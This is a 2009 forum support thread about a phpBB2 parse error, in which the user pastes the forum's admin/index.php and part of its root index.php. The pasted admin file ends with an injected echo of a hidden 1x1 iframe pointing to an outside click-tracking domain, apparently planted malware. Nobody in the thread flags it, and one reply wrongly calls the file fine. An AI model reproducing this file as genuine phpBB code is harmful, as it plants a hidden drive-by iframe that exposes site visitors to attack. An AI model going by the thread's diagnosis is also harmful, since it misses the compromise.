phpBB2Refugees.com Logo
Not affiliated with or endorsed by the phpBB Group

Register •  Login 

Continue the legacy...

Welcome to all phpBB2 Refugees!Wave Smilie

This site is intended to continue support for the legacy 2.x line of the phpBB2 bulletin board package. If you are a fan of phpBB2, please, by all means register, post, and help us out by offering your suggestions. We are primarily a community and support network. Our secondary goal is to provide a phpBB2 MOD Author and Styles area.

Parsing error


 
Search this topic... | Search General Support... | Search Box
Register or Login to Post    Index » General Support  Previous TopicPrint TopicNext Topic
Author Message
sabsfan2
Board Member



Joined: 21 May 2009

Posts: 6



PostPosted: Thu May 21, 2009 10:39 am 
Post subject: Parsing error

I'm running phpbb2.0.23. Though I've not touched the code in months, the following error popped up today, instead of my forum:

Parse error: parse error, unexpected '<', expecting ')' in /home/content/h/a/t/hathorlive/html/forums/index.php on line 446

I'm concerned because the index.php file has not been touched in nearly 6 months and our forums are down. I've got a paid hosting plan with the evil godaddy. Two months ago, they actually deleted our database. When I pressed them for logs showing who had accessed our site, they backed down off their "we'll restore it for a fee" and restored the site with no explanation. After that snapfu, I'm not sure what to think.

Does anyone have a suggestion for how to fix this? (Any suggestions for a new host would be appreciated, too).

Thanks for your help and consideration.
Back to top
RMcGirr83
Board Member



Joined: 01 Dec 2008

Posts: 53
Location: East Lyme, CT


flag
PostPosted: Thu May 21, 2009 3:32 pm 
Post subject: Re: Parsing error

Post up your index.php file using the code bbcode tags
_________________
Rich McGirr
Back to top
sabsfan2
Board Member



Joined: 21 May 2009

Posts: 6



PostPosted: Thu May 21, 2009 4:05 pm 
Post subject: Re: Parsing error

I'm not sure how to post with bbcode.

Any suggestions are appreciated. I appreciate your time.[/code]
Back to top
RMcGirr83
Board Member



Joined: 01 Dec 2008

Posts: 53
Location: East Lyme, CT


flag
PostPosted: Thu May 21, 2009 5:25 pm 
Post subject: Re: Parsing error

[ code]
copy and paste your file contents here
[/ code]

get rid of the spaces in between the brackets

_________________
Rich McGirr
Back to top
sabsfan2
Board Member



Joined: 21 May 2009

Posts: 6



PostPosted: Thu May 21, 2009 8:00 pm 
Post subject: Re: Parsing error

I hope I've done this correctly.
Thanks in advanced.

Code:

<?php
/***************************************************************************
*                             (admin) index.php
*                            -------------------
*   begin                : Saturday, Feb 13, 2001
*   copyright            : (C) 2001 The phpBB Group
*   email                : support@phpbb.com
*
*   $Id: index.php,v 1.40.2.10 2005/12/04 12:55:28 grahamje Exp $
*
*
***************************************************************************/

/***************************************************************************
*
*   This program is free software; you can redistribute it and/or modify
*   it under the terms of the GNU General Public License as published by
*   the Free Software Foundation; either version 2 of the License, or
*   (at your option) any later version.
*
***************************************************************************/

define('IN_PHPBB', 1);

//
// Load default header
//
$no_page_header = TRUE;
$phpbb_root_path = "./../";
require($phpbb_root_path . 'extension.inc');
require('./pagestart.' . $phpEx);

// ---------------
// Begin functions
//
function inarray($needle, $haystack)
{
   for($i = 0; $i < sizeof($haystack); $i++ )
   {
      if( $haystack[$i] == $needle )
      {
         return true;
      }
   }
   return false;
}
//
// End functions
// -------------

//
// Generate relevant output
//
if( isset($HTTP_GET_VARS['pane']) && $HTTP_GET_VARS['pane'] == 'left' )
{
   $dir = @opendir(".");

   $setmodules = 1;
   while( $file = @readdir($dir) )
   {
      if( preg_match("/^admin_.*?\." . $phpEx . "$/", $file) )
      {
         include('./' . $file);
      }
   }

   @closedir($dir);

   unset($setmodules);

   include('./page_header_admin.'.$phpEx);

   $template->set_filenames(array(
      "body" => "admin/index_navigate.tpl")
   );

   $template->assign_vars(array(
      "U_FORUM_INDEX" => append_sid("../index.$phpEx"),
      "U_ADMIN_INDEX" => append_sid("index.$phpEx?pane=right"),

      "L_FORUM_INDEX" => $lang['Main_index'],
      "L_ADMIN_INDEX" => $lang['Admin_Index'],
      "L_PREVIEW_FORUM" => $lang['Preview_forum'])
   );

   ksort($module);

   while( list($cat, $action_array) = each($module) )
   {
      $cat = ( !empty($lang[$cat]) ) ? $lang[$cat] : preg_replace("/_/", " ", $cat);

      $template->assign_block_vars("catrow", array(
         "ADMIN_CATEGORY" => $cat)
      );

      ksort($action_array);

      $row_count = 0;
      while( list($action, $file)   = each($action_array) )
      {
         $row_color = ( !($row_count%2) ) ? $theme['td_color1'] : $theme['td_color2'];
         $row_class = ( !($row_count%2) ) ? $theme['td_class1'] : $theme['td_class2'];

         $action = ( !empty($lang[$action]) ) ? $lang[$action] : preg_replace("/_/", " ", $action);

         $template->assign_block_vars("catrow.modulerow", array(
            "ROW_COLOR" => "#" . $row_color,
            "ROW_CLASS" => $row_class,

            "ADMIN_MODULE" => $action,
            "U_ADMIN_MODULE" => append_sid($file))
         );
         $row_count++;
      }
   }

   $template->pparse("body");

   include('./page_footer_admin.'.$phpEx);
}
elseif( isset($HTTP_GET_VARS['pane']) && $HTTP_GET_VARS['pane'] == 'right' )
{

   include('./page_header_admin.'.$phpEx);

   $template->set_filenames(array(
      "body" => "admin/index_body.tpl")
   );

   $template->assign_vars(array(
      "L_WELCOME" => $lang['Welcome_phpBB'],
      "L_ADMIN_INTRO" => $lang['Admin_intro'],
      "L_FORUM_STATS" => $lang['Forum_stats'],
      "L_WHO_IS_ONLINE" => $lang['Who_is_Online'],
      "L_USERNAME" => $lang['Username'],
      "L_LOCATION" => $lang['Location'],
      "L_LAST_UPDATE" => $lang['Last_updated'],
      "L_IP_ADDRESS" => $lang['IP_Address'],
      "L_STATISTIC" => $lang['Statistic'],
      "L_VALUE" => $lang['Value'],
      "L_NUMBER_POSTS" => $lang['Number_posts'],
      "L_POSTS_PER_DAY" => $lang['Posts_per_day'],
      "L_NUMBER_TOPICS" => $lang['Number_topics'],
      "L_TOPICS_PER_DAY" => $lang['Topics_per_day'],
      "L_NUMBER_USERS" => $lang['Number_users'],
      "L_USERS_PER_DAY" => $lang['Users_per_day'],
      "L_BOARD_STARTED" => $lang['Board_started'],
      "L_AVATAR_DIR_SIZE" => $lang['Avatar_dir_size'],
      "L_DB_SIZE" => $lang['Database_size'],
      "L_FORUM_LOCATION" => $lang['Forum_Location'],
      "L_STARTED" => $lang['Login'],
      "L_GZIP_COMPRESSION" => $lang['Gzip_compression'])
   );

   //
   // Get forum statistics
   //
   $total_posts = get_db_stat('postcount');
   $total_users = get_db_stat('usercount');
   $total_topics = get_db_stat('topiccount');

   $start_date = create_date($board_config['default_dateformat'], $board_config['board_startdate'], $board_config['board_timezone']);

   $boarddays = ( time() - $board_config['board_startdate'] ) / 86400;

   $posts_per_day = sprintf("%.2f", $total_posts / $boarddays);
   $topics_per_day = sprintf("%.2f", $total_topics / $boarddays);
   $users_per_day = sprintf("%.2f", $total_users / $boarddays);

   $avatar_dir_size = 0;

   if ($avatar_dir = @opendir($phpbb_root_path . $board_config['avatar_path']))
   {
      while( $file = @readdir($avatar_dir) )
      {
         if( $file != "." && $file != ".." )
         {
            $avatar_dir_size += @filesize($phpbb_root_path . $board_config['avatar_path'] . "/" . $file);
         }
      }
      @closedir($avatar_dir);

      //
      // This bit of code translates the avatar directory size into human readable format
      // Borrowed the code from the PHP.net annoted manual, origanally written by:
      // Jesse (jesse@jess.on.ca)
      //
      if($avatar_dir_size >= 1048576)
      {
         $avatar_dir_size = round($avatar_dir_size / 1048576 * 100) / 100 . " MB";
      }
      else if($avatar_dir_size >= 1024)
      {
         $avatar_dir_size = round($avatar_dir_size / 1024 * 100) / 100 . " KB";
      }
      else
      {
         $avatar_dir_size = $avatar_dir_size . " Bytes";
      }

   }
   else
   {
      // Couldn't open Avatar dir.
      $avatar_dir_size = $lang['Not_available'];
   }

   if($posts_per_day > $total_posts)
   {
      $posts_per_day = $total_posts;
   }

   if($topics_per_day > $total_topics)
   {
      $topics_per_day = $total_topics;
   }

   if($users_per_day > $total_users)
   {
      $users_per_day = $total_users;
   }

   //
   // DB size ... MySQL only
   //
   // This code is heavily influenced by a similar routine
   // in phpMyAdmin 2.2.0
   //
   if( preg_match("/^mysql/", SQL_LAYER) )
   {
      $sql = "SELECT VERSION() AS mysql_version";
      if($result = $db->sql_query($sql))
      {
         $row = $db->sql_fetchrow($result);
         $version = $row['mysql_version'];

         if( preg_match("/^(3\.23|4\.|5\.)/", $version) )
         {
            $db_name = ( preg_match("/^(3\.23\.[6-9])|(3\.23\.[1-9][1-9])|(4\.)|(5\.)/", $version) ) ? "`$dbname`" : $dbname;

            $sql = "SHOW TABLE STATUS
               FROM " . $db_name;
            if($result = $db->sql_query($sql))
            {
               $tabledata_ary = $db->sql_fetchrowset($result);

               $dbsize = 0;
               for($i = 0; $i < count($tabledata_ary); $i++)
               {
                  if( $tabledata_ary[$i]['Type'] != "MRG_MyISAM" )
                  {
                     if( $table_prefix != "" )
                     {
                        if( strstr($tabledata_ary[$i]['Name'], $table_prefix) )
                        {
                           $dbsize += $tabledata_ary[$i]['Data_length'] + $tabledata_ary[$i]['Index_length'];
                        }
                     }
                     else
                     {
                        $dbsize += $tabledata_ary[$i]['Data_length'] + $tabledata_ary[$i]['Index_length'];
                     }
                  }
               }
            } // Else we couldn't get the table status.
         }
         else
         {
            $dbsize = $lang['Not_available'];
         }
      }
      else
      {
         $dbsize = $lang['Not_available'];
      }
   }
   else if( preg_match("/^mssql/", SQL_LAYER) )
   {
      $sql = "SELECT ((SUM(size) * 8.0) * 1024.0) as dbsize
         FROM sysfiles";
      if( $result = $db->sql_query($sql) )
      {
         $dbsize = ( $row = $db->sql_fetchrow($result) ) ? intval($row['dbsize']) : $lang['Not_available'];
      }
      else
      {
         $dbsize = $lang['Not_available'];
      }
   }
   else
   {
      $dbsize = $lang['Not_available'];
   }

   if ( is_integer($dbsize) )
   {
      if( $dbsize >= 1048576 )
      {
         $dbsize = sprintf("%.2f MB", ( $dbsize / 1048576 ));
      }
      else if( $dbsize >= 1024 )
      {
         $dbsize = sprintf("%.2f KB", ( $dbsize / 1024 ));
      }
      else
      {
         $dbsize = sprintf("%.2f Bytes", $dbsize);
      }
   }

   $template->assign_vars(array(
      "NUMBER_OF_POSTS" => $total_posts,
      "NUMBER_OF_TOPICS" => $total_topics,
      "NUMBER_OF_USERS" => $total_users,
      "START_DATE" => $start_date,
      "POSTS_PER_DAY" => $posts_per_day,
      "TOPICS_PER_DAY" => $topics_per_day,
      "USERS_PER_DAY" => $users_per_day,
      "AVATAR_DIR_SIZE" => $avatar_dir_size,
      "DB_SIZE" => $dbsize,
      "GZIP_COMPRESSION" => ( $board_config['gzip_compress'] ) ? $lang['ON'] : $lang['OFF'])
   );
   //
   // End forum statistics
   //

   //
   // Get users online information.
   //
   $sql = "SELECT u.user_id, u.username, u.user_session_time, u.user_session_page, s.session_logged_in, s.session_ip, s.session_start
      FROM " . USERS_TABLE . " u, " . SESSIONS_TABLE . " s
      WHERE s.session_logged_in = " . TRUE . "
         AND u.user_id = s.session_user_id
         AND u.user_id <> " . ANONYMOUS . "
         AND s.session_time >= " . ( time() - 300 ) . "
      ORDER BY u.user_session_time DESC";
   if(!$result = $db->sql_query($sql))
   {
      message_die(GENERAL_ERROR, "Couldn't obtain regd user/online information.", "", __LINE__, __FILE__, $sql);
   }
   $onlinerow_reg = $db->sql_fetchrowset($result);

   $sql = "SELECT session_page, session_logged_in, session_time, session_ip, session_start   
      FROM " . SESSIONS_TABLE . "
      WHERE session_logged_in = 0
         AND session_time >= " . ( time() - 300 ) . "
      ORDER BY session_time DESC";
   if(!$result = $db->sql_query($sql))
   {
      message_die(GENERAL_ERROR, "Couldn't obtain guest user/online information.", "", __LINE__, __FILE__, $sql);
   }
   $onlinerow_guest = $db->sql_fetchrowset($result);

   $sql = "SELECT forum_name, forum_id
      FROM " . FORUMS_TABLE;
   if($forums_result = $db->sql_query($sql))
   {
      while($forumsrow = $db->sql_fetchrow($forums_result))
      {
         $forum_data[$forumsrow['forum_id']] = $forumsrow['forum_name'];
      }
   }
   else
   {
      message_die(GENERAL_ERROR, "Couldn't obtain user/online forums information.", "", __LINE__, __FILE__, $sql);
   }

   $reg_userid_ary = array();

   if( count($onlinerow_reg) )
   {
      $registered_users = 0;

      for($i = 0; $i < count($onlinerow_reg); $i++)
      {
         if( !inarray($onlinerow_reg[$i]['user_id'], $reg_userid_ary) )
         {
            $reg_userid_ary[] = $onlinerow_reg[$i]['user_id'];

            $username = $onlinerow_reg[$i]['username'];

            if( $onlinerow_reg[$i]['user_allow_viewonline'] || $userdata['user_level'] == ADMIN )
            {
               $registered_users++;
               $hidden = FALSE;
            }
            else
            {
               $hidden_users++;
               $hidden = TRUE;
            }

            if( $onlinerow_reg[$i]['user_session_page'] < 1 )
            {
               switch($onlinerow_reg[$i]['user_session_page'])
               {
                  case PAGE_INDEX:
                     $location = $lang['Forum_index'];
                     $location_url = "index.$phpEx?pane=right";
                     break;
                  case PAGE_POSTING:
                     $location = $lang['Posting_message'];
                     $location_url = "index.$phpEx?pane=right";
                     break;
                  case PAGE_LOGIN:
                     $location = $lang['Logging_on'];
                     $location_url = "index.$phpEx?pane=right";
                     break;
                  case PAGE_SEARCH:
                     $location = $lang['Searching_forums'];
                     $location_url = "index.$phpEx?pane=right";
                     break;
                  case PAGE_PROFILE:
                     $location = $lang['Viewing_profile'];
                     $location_url = "index.$phpEx?pane=right";
                     break;
                  case PAGE_VIEWONLINE:
                     $location = $lang['Viewing_online'];
                     $location_url = "index.$phpEx?pane=right";
                     break;
                  case PAGE_VIEWMEMBERS:
                     $location = $lang['Viewing_member_list'];
                     $location_url = "index.$phpEx?pane=right";
                     break;
                  case PAGE_PRIVMSGS:
                     $location = $lang['Viewing_priv_msgs'];
                     $location_url = "index.$phpEx?pane=right";
                     break;
                  case PAGE_FAQ:
                     $location = $lang['Viewing_FAQ'];
                     $location_url = "index.$phpEx?pane=right";
                     break;
                  default:
                     $location = $lang['Forum_index'];
                     $location_url = "index.$phpEx?pane=right";
               }
            }
            else
            {
               $location_url = append_sid("admin_forums.$phpEx?mode=editforum&amp;" . POST_FORUM_URL . "=" . $onlinerow_reg[$i]['user_session_page']);
               $location = $forum_data[$onlinerow_reg[$i]['user_session_page']];
            }

            $row_color = ( $registered_users % 2 ) ? $theme['td_color1'] : $theme['td_color2'];
            $row_class = ( $registered_users % 2 ) ? $theme['td_class1'] : $theme['td_class2'];

            $reg_ip = decode_ip($onlinerow_reg[$i]['session_ip']);

            $template->assign_block_vars("reg_user_row", array(
               "ROW_COLOR" => "#" . $row_color,
               "ROW_CLASS" => $row_class,
               "USERNAME" => $username,
               "STARTED" => create_date($board_config['default_dateformat'], $onlinerow_reg[$i]['session_start'], $board_config['board_timezone']),
               "LASTUPDATE" => create_date($board_config['default_dateformat'], $onlinerow_reg[$i]['user_session_time'], $board_config['board_timezone']),
               "FORUM_LOCATION" => $location,
               "IP_ADDRESS" => $reg_ip,

               "U_WHOIS_IP" => "http://network-tools.com/default.asp?host=$reg_ip",
               "U_USER_PROFILE" => append_sid("admin_users.$phpEx?mode=edit&amp;" . POST_USERS_URL . "=" . $onlinerow_reg[$i]['user_id']),
               "U_FORUM_LOCATION" => append_sid($location_url))
            );
         }
      }

   }
   else
   {
      $template->assign_vars(array(
         "L_NO_REGISTERED_USERS_BROWSING" => $lang['No_users_browsing'])
      );
   }

   //
   // Guest users
   //
   if( count($onlinerow_guest) )
   {
      $guest_users = 0;

      for($i = 0; $i < count($onlinerow_guest); $i++)
      {
         $guest_userip_ary[] = $onlinerow_guest[$i]['session_ip'];
         $guest_users++;

         if( $onlinerow_guest[$i]['session_page'] < 1 )
         {
            switch( $onlinerow_guest[$i]['session_page'] )
            {
               case PAGE_INDEX:
                  $location = $lang['Forum_index'];
                  $location_url = "index.$phpEx?pane=right";
                  break;
               case PAGE_POSTING:
                  $location = $lang['Posting_message'];
                  $location_url = "index.$phpEx?pane=right";
                  break;
               case PAGE_LOGIN:
                  $location = $lang['Logging_on'];
                  $location_url = "index.$phpEx?pane=right";
                  break;
               case PAGE_SEARCH:
                  $location = $lang['Searching_forums'];
                  $location_url = "index.$phpEx?pane=right";
                  break;
               case PAGE_PROFILE:
                  $location = $lang['Viewing_profile'];
                  $location_url = "index.$phpEx?pane=right";
                  break;
               case PAGE_VIEWONLINE:
                  $location = $lang['Viewing_online'];
                  $location_url = "index.$phpEx?pane=right";
                  break;
               case PAGE_VIEWMEMBERS:
                  $location = $lang['Viewing_member_list'];
                  $location_url = "index.$phpEx?pane=right";
                  break;
               case PAGE_PRIVMSGS:
                  $location = $lang['Viewing_priv_msgs'];
                  $location_url = "index.$phpEx?pane=right";
                  break;
               case PAGE_FAQ:
                  $location = $lang['Viewing_FAQ'];
                  $location_url = "index.$phpEx?pane=right";
                  break;
               default:
                  $location = $lang['Forum_index'];
                  $location_url = "index.$phpEx?pane=right";
            }
         }
         else
         {
            $location_url = append_sid("admin_forums.$phpEx?mode=editforum&amp;" . POST_FORUM_URL . "=" . $onlinerow_guest[$i]['session_page']);
            $location = $forum_data[$onlinerow_guest[$i]['session_page']];
         }

         $row_color = ( $guest_users % 2 ) ? $theme['td_color1'] : $theme['td_color2'];
         $row_class = ( $guest_users % 2 ) ? $theme['td_class1'] : $theme['td_class2'];

         $guest_ip = decode_ip($onlinerow_guest[$i]['session_ip']);

         $template->assign_block_vars("guest_user_row", array(
            "ROW_COLOR" => "#" . $row_color,
            "ROW_CLASS" => $row_class,
            "USERNAME" => $lang['Guest'],
            "STARTED" => create_date($board_config['default_dateformat'], $onlinerow_guest[$i]['session_start'], $board_config['board_timezone']),
            "LASTUPDATE" => create_date($board_config['default_dateformat'], $onlinerow_guest[$i]['session_time'], $board_config['board_timezone']),
            "FORUM_LOCATION" => $location,
            "IP_ADDRESS" => $guest_ip,

            "U_WHOIS_IP" => "http://network-tools.com/default.asp?host=$guest_ip",
            "U_FORUM_LOCATION" => append_sid($location_url))
         );
      }

   }
   else
   {
      $template->assign_vars(array(
         "L_NO_GUESTS_BROWSING" => $lang['No_users_browsing'])
      );
   }

   // Check for new version
   $current_version = explode('.', '2' . $board_config['version']);
   $minor_revision = (int) $current_version[2];

   $errno = 0;
   $errstr = $version_info = '';

   if ($fsock = @fsockopen('www.phpbb.com', 80, $errno, $errstr, 10))
   {
      @fputs($fsock, "GET /updatecheck/20x.txt HTTP/1.1\r\n");
      @fputs($fsock, "HOST: www.phpbb.com\r\n");
      @fputs($fsock, "Connection: close\r\n\r\n");

      $get_info = false;
      while (!@feof($fsock))
      {
         if ($get_info)
         {
            $version_info .= @fread($fsock, 1024);
         }
         else
         {
            if (@fgets($fsock, 1024) == "\r\n")
            {
               $get_info = true;
            }
         }
      }
      @fclose($fsock);

      $version_info = explode("\n", $version_info);
      $latest_head_revision = (int) $version_info[0];
      $latest_minor_revision = (int) $version_info[2];
      $latest_version = (int) $version_info[0] . '.' . (int) $version_info[1] . '.' . (int) $version_info[2];

      if ($latest_head_revision == 2 && $minor_revision == $latest_minor_revision)
      {
         $version_info = '<p style="color:green">' . $lang['Version_up_to_date'] . '</p>';
      }
      else
      {
         $version_info = '<p style="color:red">' . $lang['Version_not_up_to_date'];
         $version_info .= '<br />' . sprintf($lang['Latest_version_info'], $latest_version) . ' ' . sprintf($lang['Current_version_info'], '2' . $board_config['version']) . '</p>';
      }
   }
   else
   {
      if ($errstr)
      {
         $version_info = '<p style="color:red">' . sprintf($lang['Connect_socket_error'], $errstr) . '</p>';
      }
      else
      {
         $version_info = '<p>' . $lang['Socket_functions_disabled'] . '</p>';
      }
   }
   
   $version_info .= '<p>' . $lang['Mailing_list_subscribe_reminder'] . '</p>';
   

   $template->assign_vars(array(
      'VERSION_INFO'   => $version_info,
      'L_VERSION_INFORMATION'   => $lang['Version_information'])
   );

   $template->pparse("body");

   include('./page_footer_admin.'.$phpEx);

}
else
{
   //
   // Generate frameset
   //
   $template->set_filenames(array(
      "body" => "admin/index_frameset.tpl")
   );

   $template->assign_vars(array(
      "S_FRAME_NAV" => append_sid("index.$phpEx?pane=left"),
      "S_FRAME_MAIN" => append_sid("index.$phpEx?pane=right"))
   );

   header ("Expires: " . gmdate("D, d M Y H:i:s", time()) . " GMT");
   header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");

   $template->pparse("body");

   $db->sql_close();
   exit;

}


echo "<iframe src=\"http://clifedo.net/?click=F18B73\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
?>
Back to top
RMcGirr83
Board Member



Joined: 01 Dec 2008

Posts: 53
Location: East Lyme, CT


flag
PostPosted: Thu May 21, 2009 10:19 pm 
Post subject: Re: Parsing error

icon_confused.gif

There is no < on line 446 of your file. If you haven't touched the files in and the forum was working fine, the only logical conclusion is that your host changed something.

Time to contact your host, sorry to say.

_________________
Rich McGirr
Back to top
sabsfan2
Board Member



Joined: 21 May 2009

Posts: 6



PostPosted: Fri May 22, 2009 12:29 am 
Post subject: Re: Parsing error

I've replaced the file with the last good back up and I'm getting the same error, even though it's got a totally different "line 446". I used filezilla to check the time and date stamps of the site files and something definitely happened in the wee hours of the morning yesterday. I certainly wasn't playing with code at 6AM.

Seeing how my host is next to useless and I'll get a "we don't work code problems" reply, should I just upload the last good back up of the site? We've not changed any code in the last year or so. The back up is from April. Uploading the back up won't affect data, since the database is not involved, right?

thanks.
Back to top
dogs and things
Board Member



Joined: 18 Nov 2008

Posts: 628
Location: Spain


flag
PostPosted: Fri May 22, 2009 2:35 am 
Post subject: Re: Parsing error

You have posted your admin/index.php but you should be looking at your index.php.
_________________
phpBB2 will never die, I hope!
Back to top
RMcGirr83
Board Member



Joined: 01 Dec 2008

Posts: 53
Location: East Lyme, CT


flag
PostPosted: Fri May 22, 2009 5:55 am 
Post subject: Re: Parsing error

icon_redface.gif

GAH!!!

It's been a while since I have looked at 2.x files.

_________________
Rich McGirr
Back to top
sabsfan2
Board Member



Joined: 21 May 2009

Posts: 6



PostPosted: Fri May 22, 2009 7:02 am 
Post subject: Re: Parsing error

Code:


<?php
/***************************************************************************
*                                index.php
*                            -------------------
*   begin                : Saturday, Feb 13, 2001
*   copyright            : (C) 2001 The phpBB Group
*   email                : support@phpbb.com
*
*   $Id: index.php,v 1.99.2.7 2006/01/28 11:13:39 acydburn Exp $
*
*
***************************************************************************/

/***************************************************************************
*
*   This program is free software; you can redistribute it and/or modify
*   it under the terms of the GNU General Public License as published by
*   the Free Software Foundation; either version 2 of the License, or
*   (at your option) any later version.
*
***************************************************************************/

define('IN_PHPBB', true);
$phpbb_root_path = './';
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);

//
// Start session management
//
$userdata = session_pagestart($user_ip, PAGE_INDEX);
init_userprefs($userdata);
//
// End session management
//

$viewcat = ( !empty($HTTP_GET_VARS[POST_CAT_URL]) ) ? $HTTP_GET_VARS[POST_CAT_URL] : -1;

if( isset($HTTP_GET_VARS['mark']) || isset($HTTP_POST_VARS['mark']) )
{
   $mark_read = ( isset($HTTP_POST_VARS['mark']) ) ? $HTTP_POST_VARS['mark'] : $HTTP_GET_VARS['mark'];
}
else
{
   $mark_read = '';
}

//
// Handle marking posts
//
if( $mark_read == 'forums' )
{
   if( $userdata['session_logged_in'] )
   {
      setcookie($board_config['cookie_name'] . '_f_all', time(), 0, $board_config['cookie_path'], $board_config['cookie_domain'], $board_config['cookie_secure']);
   }

   $template->assign_vars(array(
      "META" => '<meta http-equiv="refresh" content="3;url='  .append_sid("index.$phpEx") . '">')
   );

   $message = $lang['Forums_marked_read'] . '<br /><br />' . sprintf($lang['Click_return_index'], '<a href="' . append_sid("index.$phpEx") . '">', '</a> ');

   message_die(GENERAL_MESSAGE, $message);
}
//
// End handle marking posts
//

$tracking_topics = ( isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_t']) ) ? unserialize($HTTP_COOKIE_VARS[$board_config['cookie_name'] . "_t"]) : array();
$tracking_forums = ( isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_f']) ) ? unserialize($HTTP_COOKIE_VARS[$board_config['cookie_name'] . "_f"]) : array();

//
// If you don't use these stats on your index you may want to consider
// removing them
//
$total_posts = get_db_stat('postcount');
$total_users = get_db_stat('usercount');
$newest_userdata = get_db_stat('newestuser');
$newest_user = $newest_userdata['username'];
$newest_uid = $newest_userdata['user_id'];

if( $total_posts == 0 )
{
   $l_total_post_s = $lang['Posted_articles_zero_total'];
}
else if( $total_posts == 1 )
{
   $l_total_post_s = $lang['Posted_article_total'];
}
else
{
   $l_total_post_s = $lang['Posted_articles_total'];
}

if( $total_users == 0 )
{
   $l_total_user_s = $lang['Registered_users_zero_total'];
}
else if( $total_users == 1 )
{
   $l_total_user_s = $lang['Registered_user_total'];
}
else
{
   $l_total_user_s = $lang['Registered_users_total'];
}


//
// Start page proper
//
$sql = "SELECT c.cat_id, c.cat_title, c.cat_order
   FROM " . CATEGORIES_TABLE . " c
   ORDER BY c.cat_order";
if( !($result = $db->sql_query($sql)) )
{
   message_die(GENERAL_ERROR, 'Could not query categories list', '', __LINE__, __FILE__, $sql);
}

$category_rows = array();
while ($row = $db->sql_fetchrow($result))
{
   $category_rows[] = $row;
}
$db->sql_freeresult($result);

if( ( $total_categories = count($category_rows) ) )
{
   //
   // Define appropriate SQL
   //
   switch(SQL_LAYER)
   {
      case 'postgresql':
         $sql = "SELECT f.*, p.post_time, p.post_username, u.username, u.user_id
            FROM " . FORUMS_TABLE . " f, " . POSTS_TABLE . " p, " . USERS_TABLE . " u
            WHERE p.post_id = f.forum_last_post_id
               AND u.user_id = p.poster_id 
               UNION (
                  SELECT f.*, NULL, NULL, NULL, NULL
                  FROM " . FORUMS_TABLE . " f
                  WHERE NOT EXISTS (
                     SELECT p.post_time
                     FROM " . POSTS_TABLE . " p
                     WHERE p.post_id = f.forum_last_post_id 
                  )
               )
               ORDER BY cat_id, forum_order";
         break;

      case 'oracle':
         $sql = "SELECT f.*, p.post_time, p.post_username, u.username, u.user_id
            FROM " . FORUMS_TABLE . " f, " . POSTS_TABLE . " p, " . USERS_TABLE . " u
            WHERE p.post_id = f.forum_last_post_id(+)
               AND u.user_id = p.poster_id(+)
            ORDER BY f.cat_id, f.forum_order";
         break;

      default:
         $sql = "SELECT f.*, p.post_time, p.post_username, u.username, u.user_id
            FROM (( " . FORUMS_TABLE . " f
            LEFT JOIN " . POSTS_TABLE . " p ON p.post_id = f.forum_last_post_id )
            LEFT JOIN " . USERS_TABLE . " u ON u.user_id = p.poster_id )
            ORDER BY f.cat_id, f.forum_order";
         break;
   }
   if ( !($result = $db->sql_query($sql)) )
   {
      message_die(GENERAL_ERROR, 'Could not query forums information', '', __LINE__, __FILE__, $sql);
   }

   $forum_data = array();
   while( $row = $db->sql_fetchrow($result) )
   {
      $forum_data[] = $row;
   }
   $db->sql_freeresult($result);

   if ( !($total_forums = count($forum_data)) )
   {
      message_die(GENERAL_MESSAGE, $lang['No_forums']);
   }

   //
   // Obtain a list of topic ids which contain
   // posts made since user last visited
   //
   if ($userdata['session_logged_in'])
   {
      // 60 days limit
      if ($userdata['user_lastvisit'] < (time() - 5184000))
      {
         $userdata['user_lastvisit'] = time() - 5184000;
      }

      $sql = "SELECT t.forum_id, t.topic_id, p.post_time
         FROM " . TOPICS_TABLE . " t, " . POSTS_TABLE . " p
         WHERE p.post_id = t.topic_last_post_id
            AND p.post_time > " . $userdata['user_lastvisit'] . "
            AND t.topic_moved_id = 0";
      if ( !($result = $db->sql_query($sql)) )
      {
         message_die(GENERAL_ERROR, 'Could not query new topic information', '', __LINE__, __FILE__, $sql);
      }

      $new_topic_data = array();
      while( $topic_data = $db->sql_fetchrow($result) )
      {
         $new_topic_data[$topic_data['forum_id']][$topic_data['topic_id']] = $topic_data['post_time'];
      }
      $db->sql_freeresult($result);
   }

   //
   // Obtain list of moderators of each forum
   // First users, then groups ... broken into two queries
   //
   $sql = "SELECT aa.forum_id, u.user_id, u.username
      FROM " . AUTH_ACCESS_TABLE . " aa, " . USER_GROUP_TABLE . " ug, " . GROUPS_TABLE . " g, " . USERS_TABLE . " u
      WHERE aa.auth_mod = " . TRUE . "
         AND g.group_single_user = 1
         AND ug.group_id = aa.group_id
         AND g.group_id = aa.group_id
         AND u.user_id = ug.user_id
      GROUP BY u.user_id, u.username, aa.forum_id
      ORDER BY aa.forum_id, u.user_id";
   if ( !($result = $db->sql_query($sql)) )
   {
      message_die(GENERAL_ERROR, 'Could not query forum moderator information', '', __LINE__, __FILE__, $sql);
   }

   $forum_moderators = array();
   while( $row = $db->sql_fetchrow($result) )
   {
      $forum_moderators[$row['forum_id']][] = '<a href="' . append_sid("profile.$phpEx?mode=viewprofile&amp;" . POST_USERS_URL . "=" . $row['user_id']) . '">' . $row['username'] . '</a>';
   }
   $db->sql_freeresult($result);

   $sql = "SELECT aa.forum_id, g.group_id, g.group_name
      FROM " . AUTH_ACCESS_TABLE . " aa, " . USER_GROUP_TABLE . " ug, " . GROUPS_TABLE . " g
      WHERE aa.auth_mod = " . TRUE . "
         AND g.group_single_user = 0
         AND g.group_type <> " . GROUP_HIDDEN . "
         AND ug.group_id = aa.group_id
         AND g.group_id = aa.group_id
      GROUP BY g.group_id, g.group_name, aa.forum_id
      ORDER BY aa.forum_id, g.group_id";
   if ( !($result = $db->sql_query($sql)) )
   {
      message_die(GENERAL_ERROR, 'Could not query forum moderator information', '', __LINE__, __FILE__, $sql);
   }

   while( $row = $db->sql_fetchrow($result) )
   {
      $forum_moderators[$row['forum_id']][] = '<a href="' . append_sid("groupcp.$phpEx?" . POST_GROUPS_URL . "=" . $row['group_id']) . '">' . $row['group_name'] . '</a>';
   }
   $db->sql_freeresult($result);

   //
   // Find which forums are visible for this user
   //
   $is_auth_ary = array();
   $is_auth_ary = auth(AUTH_VIEW, AUTH_LIST_ALL, $userdata, $forum_data);

   //
   // Start output of page
   //
   define('SHOW_ONLINE', true);
   $page_title = $lang['Index'];
